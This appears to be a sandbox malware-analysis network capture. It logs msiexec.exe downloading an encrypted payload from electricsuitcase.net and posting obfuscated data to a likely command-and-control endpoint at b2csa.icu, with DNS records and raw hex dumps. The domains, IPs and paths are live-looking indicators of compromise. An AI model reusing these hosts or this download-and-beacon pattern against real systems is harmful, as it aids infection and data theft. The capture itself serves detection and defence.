Jan 13, 2025 09:22:27.776343107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.776357889 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781322956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781335115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781347036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781357050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781368017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781378031 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781385899 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781399965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781405926 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781416893 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781440973 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781486988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781526089 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781547070 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781555891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781574011 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781585932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781594038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781603098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781613111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781620026 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781631947 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781640053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781647921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781655073 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781668901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781673908 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781682968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781693935 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781697989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781713009 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781721115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781737089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781748056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781759977 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781768084 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781775951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781786919 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781793118 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781820059 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781847954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781857967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781872988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781879902 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781888008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781899929 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781905890 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781917095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781925917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781946898 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.781955957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781965971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781976938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.781986952 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782001972 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782016039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782030106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782038927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782047033 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782056093 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782071114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782078981 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782089949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782095909 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782118082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782138109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782147884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782159090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782166004 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782175064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782186985 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782193899 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782205105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782213926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.782221079 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782237053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.782260895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.784802914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.789552927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.256702900 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.261497021 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.264780998 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.264900923 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.264959097 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.269793987 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.269804955 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.269813061 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.269829035 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.269836903 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.269866943 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.269891977 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.270034075 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.270042896 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.270085096 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.270092010 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.270100117 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.270111084 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.270149946 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:28.274652958 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.274662971 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.274729967 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.274739027 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.274800062 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.274808884 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:28.316178083 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:32.588083029 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:32.588690042 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:32.588773012 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:32.599684954 CET	49905	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:32.604538918 CET	80	49905	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:34.674432039 CET	49857	80	192.168.2.5	107.151.162.135

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:22:21.150542974 CET	56636	53	192.168.2.5	1.1.1.1
Jan 13, 2025 09:22:21.221654892 CET	53	56636	1.1.1.1	192.168.2.5
Jan 13, 2025 09:22:22.249398947 CET	60362	53	192.168.2.5	1.1.1.1
Jan 13, 2025 09:22:22.275342941 CET	53	60362	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 09:22:21.150542974 CET	192.168.2.5	1.1.1.1	0x6e97	Standard query (0)	electricsuitcase.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.249398947 CET	192.168.2.5	1.1.1.1	0xafc9	Standard query (0)	b2csa.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 09:22:21.221654892 CET	1.1.1.1	192.168.2.5	0x6e97	No error (0)	electricsuitcase.net	107.151.162.135	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:22:22.275342941 CET	1.1.1.1	192.168.2.5	0xafc9	No error (0)	b2csa.icu	104.21.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

electricsuitcase.net

b2csa.icu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49857	107.151.162.135	80	6204	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:22:21.239176035 CET	214	OUT	GET /wp-includes/block-bindings/wTryLAihFvcVmUK202.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: electricsuitcase.net Cache-Control: no-cache
Jan 13, 2025 09:22:21.811362028 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 08:22:21 GMT Content-Type: application/octet-stream Content-Length: 114752 Last-Modified: Sat, 11 Jan 2025 08:23:23 GMT Connection: keep-alive ETag: "67822a7b-1c040" Accept-Ranges: bytes Data Raw: f5 e1 cf 10 48 82 15 75 92 de b7 df b9 df 78 81 26 5d ab 93 43 0c ac 24 13 bc 6c 0a 14 b8 d8 e3 d1 a8 a3 9c 98 df 75 9d 56 21 0e 42 48 6b 36 12 ed 59 e8 7e 3a 93 a1 52 0c c6 4e dd 37 35 8e e4 e4 ea ae f3 80 ef e5 12 10 12 1c ab 44 28 21 f8 f7 9e e1 26 69 53 e0 0c 18 be 9a f2 d8 b1 c1 c6 be fe 10 20 0c 13 c8 1c 18 cf c8 16 33 d3 c9 27 11 dc 2e d6 b7 88 fe 26 cc 33 33 49 86 55 af e7 7a 93 a0 ee 18 7a 13 19 e3 be 2e 06 84 21 db ee 8a 8d dd 17 15 3a 47 db 44 99 58 c7 04 58 01 70 e6 cc 09 29 ce 30 62 aa ee 2c a3 0e b8 c1 b1 ca 9c fb 13 3e 7d 50 5b b4 95 84 2e 76 1a bb 1c 06 7f f0 53 67 23 aa 88 69 c3 ad f9 bc a1 b8 ca 12 41 b2 1e 5b d9 17 87 c7 c0 77 33 59 b0 97 92 e8 14 59 2f 57 9e be ba 6f c7 48 70 0c d8 f9 c8 87 11 00 34 04 90 41 4d fb fb 13 2d 03 5b 08 13 bf cd f9 55 f5 9f 3f 99 4f fa 40 59 bd bb aa 5f 1d 10 96 ae 36 00 4d 93 86 f0 ef 5c d2 ed f3 8d 9f bd bb be 1b 7e fb 54 16 62 de b6 40 d7 de 87 c6 8e af 7c e5 46 b6 ea 0f ff 37 f7 20 e4 8f 1a 5e a1 89 1b 8a 0a 11 51 26 84 eb c6 4c 02 91 11 ca 08 d9 [TRUNCATED] Data Ascii: Hux&]C$luV!BHk6Y~:RN75D(!&iS 3'.&33IUzz.!:GDXXp)0b,>}P[.vSg#iA[w3YY/WoHp4AM-[U?O@Y_6M\~Tb@\|F7 ^Q&Lg~kih88lC6i\%lK`y\HQlu^39e0jL%\|hLr5KQ'g%yVny-[)#dBY-)>:s6JX-V0Fy!k<8Rjr<pEnh9Rd]T@4lJ48[{E<BQ(:%K6)v?I?x\&7f=Hlo".]tGZK'EJPyow E!^@}b&u3x+"IO?]f\&KM;k vEDDsc3bH!-H(Z=i0>Eb]U6t[vKOG1=vGgb!lX}&rf{& px@Y1UvM%I SYImv,>B">2}%)r\|]0`D$RX){H 5;W.1(#
Jan 13, 2025 09:22:21.811388016 CET	1236	IN	Data Raw: 64 e5 d0 ae 99 1a 88 21 9f 63 19 95 ba 87 bf 2d 49 dc c7 c7 c7 4d 90 da 80 73 78 04 bd d3 c4 83 92 d8 cd f0 5e 2c f8 00 e2 05 e1 2f 91 6d a3 28 db b5 51 17 23 5e 36 8b 3e 37 ef ff b2 1d 8a 8a 00 20 80 55 ab 04 61 09 6f 17 93 fb bd 51 5b fa c3 cc Data Ascii: d!c-IMsx^,/m(Q#^6>7 UaoQ[:x~h$PdXD=$fluN3{qsL_Z! T8U9W@J\|a/0d9B-FmJfCUojAZXym
Jan 13, 2025 09:22:21.811413050 CET	448	IN	Data Raw: 7b 19 99 82 8a f1 44 69 9b 79 0f 10 a3 e1 3f 7a d9 bb b1 30 56 90 7a df 57 d3 eb 9a 92 50 5c c3 53 03 cf af 97 b4 cd 8d 61 7c f7 0c 19 57 a2 04 dc 5d b2 c0 20 ce 62 00 23 1d a6 c1 a0 6e 71 95 98 be 2c d1 ec 6f 7e e1 9f c4 24 8f 9d dd 6d bf 2d 8d Data Ascii: {Diy?z0VzWP\Sa\|W] b#nq,o~$m-4tUL<&x3\+AY-u+}V#peDs$`qH8hVo0\|O1p*APj]\|6_[^gf_TV-:c9\|)%~5t!(E]%
Jan 13, 2025 09:22:21.811428070 CET	1236	IN	Data Raw: 88 62 df ee dc 1e ce 9a 5c d4 06 cf 5d 80 ed 41 c1 41 f4 0b 32 a2 d6 43 67 dd 18 87 41 50 02 01 50 f7 a0 b4 d7 6d 41 44 fb 2b a5 ab 7f 9a 82 7e 5c 52 e1 ba 12 5f 96 f9 9d 96 cf ca 1c 2b 07 7b e8 75 dd d7 d6 fc 4f 19 e7 f8 f6 80 c3 ca c9 c1 14 4c Data Ascii: b\]AA2CgAPPmAD+~\R_+{uOL!n}AA@k\|HrW<c*lK]nJtp^8\|Z2VYg.p'\|\_ipKr%zY];=V$gJ8>2,!Y/shHo`A"$w(2L
Jan 13, 2025 09:22:21.811443090 CET	224	IN	Data Raw: b1 b3 72 0b 83 d8 16 4f b9 fe cc d5 08 9f 89 e3 68 a3 6e 33 29 a1 eb c2 eb 78 a9 6a ff 4f 3f cc e8 93 23 12 1e 90 59 58 91 8c 3f 08 b1 94 64 ca c2 f5 5b 55 5b ac 2d ac bc 06 db 1c b6 ac 00 3b b2 82 eb e5 12 14 99 c9 2a 58 2b de 07 30 b5 22 ad a1 Data Ascii: rOhn3)xjO?#YX?d[U[-;*X+0"`@'Na9GB6"]C;=W<HJwuJft`wkI281i%I="ycSlvD@wd)Hj{D-}L07}T
Jan 13, 2025 09:22:21.811531067 CET	1236	IN	Data Raw: a8 15 66 3f b4 c8 cc f2 0c d8 f9 43 ec 19 8b f1 07 d3 4d c6 2b 76 1f 1a 28 8a 8b e9 b3 b2 fd de 0d b4 c1 12 89 d1 85 da 45 b7 d7 4b 90 5c b2 af bd d6 66 c0 8e f3 38 d7 17 05 36 76 60 42 50 af 96 32 df 55 9d b5 5d 5c 44 5a 98 83 2e 3c 54 83 1a cd Data Ascii: f?CM+v(EK\f86v`BP2U]\DZ.<TzoZ1zXBBkrt{VF[{\Buet{':dKyyeO]w&zrQq7y]Y{B! N%5U_d
Jan 13, 2025 09:22:21.811559916 CET	224	IN	Data Raw: ab d9 69 b5 42 cf f3 ad b4 72 40 44 21 41 8e b0 0f f8 40 a7 77 a8 b2 09 2d cb 8f 49 85 79 47 91 e9 e0 49 4f eb e1 54 9d 06 bb 2e da ff 37 15 ad 5b 6b 09 f7 02 1d 71 7d 5a 83 60 a4 ed 0c 6c 6f 03 9e fe f6 27 0e 1d b0 89 46 69 00 69 79 5f ca f0 87 Data Ascii: iBr@D!A@w-IyGIOT.7[kq}Z`lo'Fiiy_\|{bFTA^,gih`u&\|;uAO+M"{^4>z\Cq<`QI'O.X({hp13#hwcUl8Mu\1n
Jan 13, 2025 09:22:21.811649084 CET	1236	IN	Data Raw: 1b 2f d9 e3 dd 62 30 aa e4 c2 1b b8 3f 41 07 90 82 e7 91 1c 1e b5 dd 6e 6f 30 3a de f0 cb 4c ec 87 2c 46 30 47 d2 84 5b 2b f5 61 e6 71 f1 04 3a 25 e4 23 e6 b6 8f 60 2c f0 e6 1b 36 4e 7c f8 c7 29 e4 f7 3e 7a 1d e2 f3 65 a8 cc d4 cf 70 20 a1 65 cd Data Ascii: /b0?Ano0:L,F0G[+aq:%#`,6N\|)>zep e{MGn5Y~G6<*17Li<QK(a]J!N&pJ2}-M<&NnMu4"%}GxK}s/Iu`'#@aJO
Jan 13, 2025 09:22:21.811671972 CET	224	IN	Data Raw: 97 41 c4 62 6d a5 e9 62 0e d4 25 48 c9 9b 1a 5b 76 13 19 0c e1 eb 67 25 b5 cc 69 3f 16 6b a9 cc 47 bc 4c b2 af 85 f0 bb 06 56 35 f7 6e 19 23 26 b3 62 0e 8d 31 b1 ed d5 c5 6e 92 28 f0 30 bb 02 ff 09 b4 c9 74 b5 e7 c4 2c b1 f7 01 52 8a 23 04 95 df Data Ascii: Abmb%H[vg%i?kGLV5n#&b1n(0t,R#]+%C+fp-=uA_u:9X;eYk*sgmAt$Op]+wxN= g,m:!a/ z6(jLH!Q
Jan 13, 2025 09:22:21.811749935 CET	1236	IN	Data Raw: 88 47 9e 89 3b 57 ea 18 7d 45 26 42 b2 bd d4 ab 3a af a6 a5 4d c4 4f f1 6e 29 b0 05 d0 bd 3f 28 48 a4 ec d7 06 27 a9 8e fd f0 1b 79 29 7e 16 b6 8d 89 79 1e 72 bb f8 b6 b0 ba 72 c0 f7 c9 9d d2 92 2a 22 26 df 46 35 ac b8 1d da 87 1e 41 0f b9 26 3b Data Ascii: G;W}E&B:MOn)?(H'y)~yrr*"&F5A&;+]q^X\\|##qhXCnUf{_1l.P3E^HN]Kp""/.ptUfF6,4#n@%G+2!HKe%\|_y\UM) ~
Jan 13, 2025 09:22:21.818392038 CET	1236	IN	Data Raw: 10 04 c5 99 f3 0c 32 07 1e d3 66 14 d3 77 44 82 d0 81 b6 12 c3 a2 55 9d 07 de e9 7f 52 e8 c4 9f cf b3 8c 66 91 6e f9 f9 2c 6b 59 04 13 ce 86 18 30 24 83 ed 4a 02 4c 1d d4 8b 0d c1 42 0d 3a c9 21 20 9d 07 d9 8f 7d c9 f2 99 5a 29 b9 46 c1 bf 43 b1 Data Ascii: 2fwDURfn,kY0$JLB:! }Z)FCtYz97u<27*t_N4$@)= R[@vzi$ln#Fjs9K'NJ4S-Kj~c9?FOM_Remo%d9>F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49865	104.21.32.1	80	6204	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:22:22.284744024 CET	273	OUT	POST /PL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: b2csa.icu Content-Length: 111 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 6d 8b 30 62 8b 30 61 e8 26 66 96 26 66 9f 40 70 9d 35 70 9c 47 70 9d 34 70 9d 32 70 9d 3a 70 9d 3b 16 8b 30 61 8b 30 6c ea Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10m0b0a&f&f@p5pGp4p2p:p;0a0l
Jan 13, 2025 09:22:23.941375017 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 08:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=COZ0uWytCj2QRXJ3vk0EId6AV%2BeOnXi3byhhXCAjm%2FhDROQ9ObwzCV93M3xXHW%2Bizts58OI%2F%2F3TBctGCKClsIBUME9sfqD7wPjpMJWYxzA8feNtMCJpNvwk%2B3Kg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013fa67ed721875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&min_rtt=1620&rtt_var=810&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=273&delivery_rate=0&cwnd=151&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 34 35 65 0d 0a 3f 36 90 4f 06 dd 77 1e d7 33 21 e2 50 65 dc 4f 04 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4e 2f ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 37 19 c4 52 67 e2 69 10 d7 4e 2c 9a 7b 1a ea 68 63 f8 55 18 e0 40 32 93 3e 69 81 60 6b 92 6d 6b 07 16 0c 82 a6 43 b3 75 f4 a5 1e 37 09 14 00 82 a8 5f f0 71 f2 a7 56 79 0a 57 48 9e e6 00 b0 66 f1 a7 09 19 3c f6 65 ac cb 30 9e 06 9d cb 33 ab 99 66 65 17 cb 30 9e 02 9d cb 33 14 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 ec 66 66 65 a1 d4 8a 90 02 29 c2 fe 75 de 67 29 62 ea 64 f6 6b ee eb 43 26 09 01 17 ce a6 10 [TRUNCATED] Data Ascii: 445e?6Ow3!PeOHh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:N/Ih!ReP7RgiN,{hcU@2>i`kmkCu7_qVyWHf<e03fe03ffe03Tffe03Tffe03ffe)ug)bdkC&c\ FE")5ET,9pffe0j0U1U
Jan 13, 2025 09:22:23.941426992 CET	224	IN	Data Raw: a0 c9 6a 03 f7 43 a5 aa 0c 9c 91 ae a1 b8 08 01 f6 31 c7 55 0c 50 f4 a8 5b cb 6a 03 f7 ff 8e 30 9e 4e 9c c9 33 d5 dc 44 c9 af cb 30 9e 02 9d cb 33 b4 66 64 44 a4 ca 3e 94 02 9b cb 33 54 62 66 65 af cb 30 9e 02 9d cb 33 54 76 66 65 af eb 30 9e 02 Data Ascii: jC1UP[j0N3D03fdD>3Tbfe03Tvfe0#Tvfe03^ffe03TVfe03Wf&`43Tfve03Dffe0)3Tffe03efe03Tjfe03Tffe0V3Tffe03Tffe0
Jan 13, 2025 09:22:23.941440105 CET	1236	IN	Data Raw: 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 7a 12 03 1d db cb 30 9e 29 99 cb 33 54 76 66 65 af cd 30 9e 02 9f cb 33 54 66 66 65 af Data Ascii: 3Tffe03Tffe03Tffe03Tffe03z0)3Tvfe03Tffe03tffCa3efe03Tnfe03Tffe03D03offe0V3Tffe.q23Yffe03dfe0'Tffe03Tffe0P`$}kE$s0c
Jan 13, 2025 09:22:23.941538095 CET	1236	IN	Data Raw: 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af Data Ascii: 3Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0
Jan 13, 2025 09:22:23.941553116 CET	448	IN	Data Raw: 9e 22 9d 9c 33 3d 66 08 65 cb cb 5f 9e 75 9d b8 33 fa 66 46 65 e0 cb 40 9e 67 9d b9 33 35 66 12 65 c6 cb 5e 9e 65 9d eb 33 07 66 1f 65 dc cb 44 9e 67 9d a6 33 54 66 66 65 ef cb 3e 9e 03 9d 9b 33 26 66 09 65 cb cb 45 9e 61 9d bf 33 02 66 03 65 dd Data Ascii: "3=fe_u3fFe@g35fe^e3feDg3Tffe>3&feEa3feCk3:ffe,3zfWe;3zfWe0F3Uf0eBD38fe^d3Tffe43&feCn3 fe^3]ba03Tffe03Tffe03l[fe22RoLM
Jan 13, 2025 09:22:23.941567898 CET	1236	IN	Data Raw: 57 39 09 08 01 9e d5 00 82 04 9e 9e 37 5e 75 73 28 c6 a8 42 f1 71 f2 ad 47 74 25 09 17 df a4 42 ff 76 f4 a4 5d 65 47 56 7a a9 c8 65 9a 01 8e d3 7e 3d 05 14 0a dc a4 56 ea 22 c9 a2 5e 31 4b 35 11 ce a6 40 be 52 de 8a 03 4a 71 6b 54 99 fb 09 ae 35 Data Ascii: W97^us(BqGt%Bv]eGVze~=V"^1K5@RJqkT5lSV?2eQS]j/8do`f6GVwc4R'_3=Re3a7g\:W{6W A+Cdp;Dm?dl`f;peAV@e]Qv(\T1yP
